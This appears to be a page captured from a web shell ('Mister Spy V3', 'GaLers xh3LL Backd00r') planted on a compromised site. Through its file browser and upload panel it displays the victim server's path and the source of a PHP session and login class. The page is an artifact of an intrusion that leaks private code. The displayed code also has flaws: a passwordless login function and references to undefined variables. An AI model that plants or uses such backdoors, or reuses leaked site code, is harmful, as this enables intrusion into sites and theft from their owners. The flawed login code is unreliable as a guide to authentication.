Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.session.php

<?php

require_once('class.administradores.php');

abstract class Session
{
	const LoginError = 0;
	const CuentaNoActivada = 1;
	
	static private $justOnce = false;

	static function Initialize()
	{
		if (Session::$justOnce == true)
			return;
		
		ob_start();
		if (session_status() == PHP_SESSION_NONE) {
			session_start();
		}
		
		Session::$justOnce = true;
	}
	
	static function GetCurrentUser()
	{
		$us = new Administradores();
		$IdUsuario = null;
		if (array_key_exists('IdUsuario', $_SESSION))
			$IdUsuario = $_SESSION['IdUsuario'];
		$usuario = $us->GetById($IdUsuario);
		
		return $usuario;
	}
	
	static function Login($username, $password)
	{
		$us = new Administradores();
		
		// autentificamos al usuario		
		$_SESSION['IdUsuario'] = '';
		
		$usuario = $us->GetByCredentials($username, $password);

		// si el usuario no existe con esas credenciales...
		if (!$usuario)
			return Session::LoginError;
		
		$_SESSION['IdUsuario'] = $usuario->IdAdministrador;
		
		return $usuario;
	}
	
	static function LoginWithoutPassword($username)
	{
		$us = new Usuarios();
		
		// autentificamos al usuario		
		$usuario = $us->GetByLogin($username);
		
		// si el usuario no existe...
		if (!$usuario)
			return Session::LoginError;
			
		// verificamos si la cuenta est� activa
		if (!$usuario->Activo)
			return Session::CuentaNoActivada;
			
		$_SESSION['IdUsuario'] = $usuario->IdAdministrador;
		
		return $usuario;
	}
	
	static function Logout()
	{
		session_destroy();
		Session::$justOnce = false;
		return true;
	}
	
	static function ForceLogin($username = '', $url = '', $lastError = 0)
	{
		// si existe una sesi�n valida y activa, no es necesario forzar login
		$u = Session::GetCurrentUser();
		
		if ($u)
		{
			//ob_end_flush();
			return;
		}
		
		$location = "Location: /admin/index.php";
		if ($username != '')
			$location.= '?Usuario=' . _urlencode($username);
			
		if ($url != '')
		{
			if ($username != '')
				$location.= '&url=' . _urlencode($url);
			else
				$location.= '?url=' . _urlencode($url);
		}
			
		if ($lastError != 0)
			$location.= '&lasterror=' . $lastError;
		
		//ob_end_clean();
		header($location);
		return;
	}
	
	static function ForceLoginFront()
	{
		// si existe una sesi�n valida y activa, no es necesario forzar login
		$u = Session::GetCurrentUser();
		
		if ($u)
		{
			//ob_end_flush();
			return;
		}
		
		$location = "Location: login.php";
		if ($username != '')
			$location.= '?Usuario=' . _urlencode($username);
			
		if ($url != '')
		{
			if ($username != '')
				$location.= '&url=' . _urlencode($url);
			else
				$location.= '?url=' . _urlencode($url);
		}
			
		if ($lastError != 0)
			$location.= '&lasterror=' . $lastError;
		
		//ob_end_clean();
		header($location);
		return;
	}
	
	
	static function CheckPerm($IdPermiso)
	{
		/* verificamos si existe una sesi�n valida y activa */
		$u = Session::GetCurrentUser();
		if (!$u)
			return false;

		/* cerificamos si posee permiso de acceso */		
		if (!$u->HavePerm($IdPermiso))
			return false;
		
		return true;
	}


	static function NoPerm()
	{
		//Session::Logout();
		header('Location: access_denied.php');
		exit;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat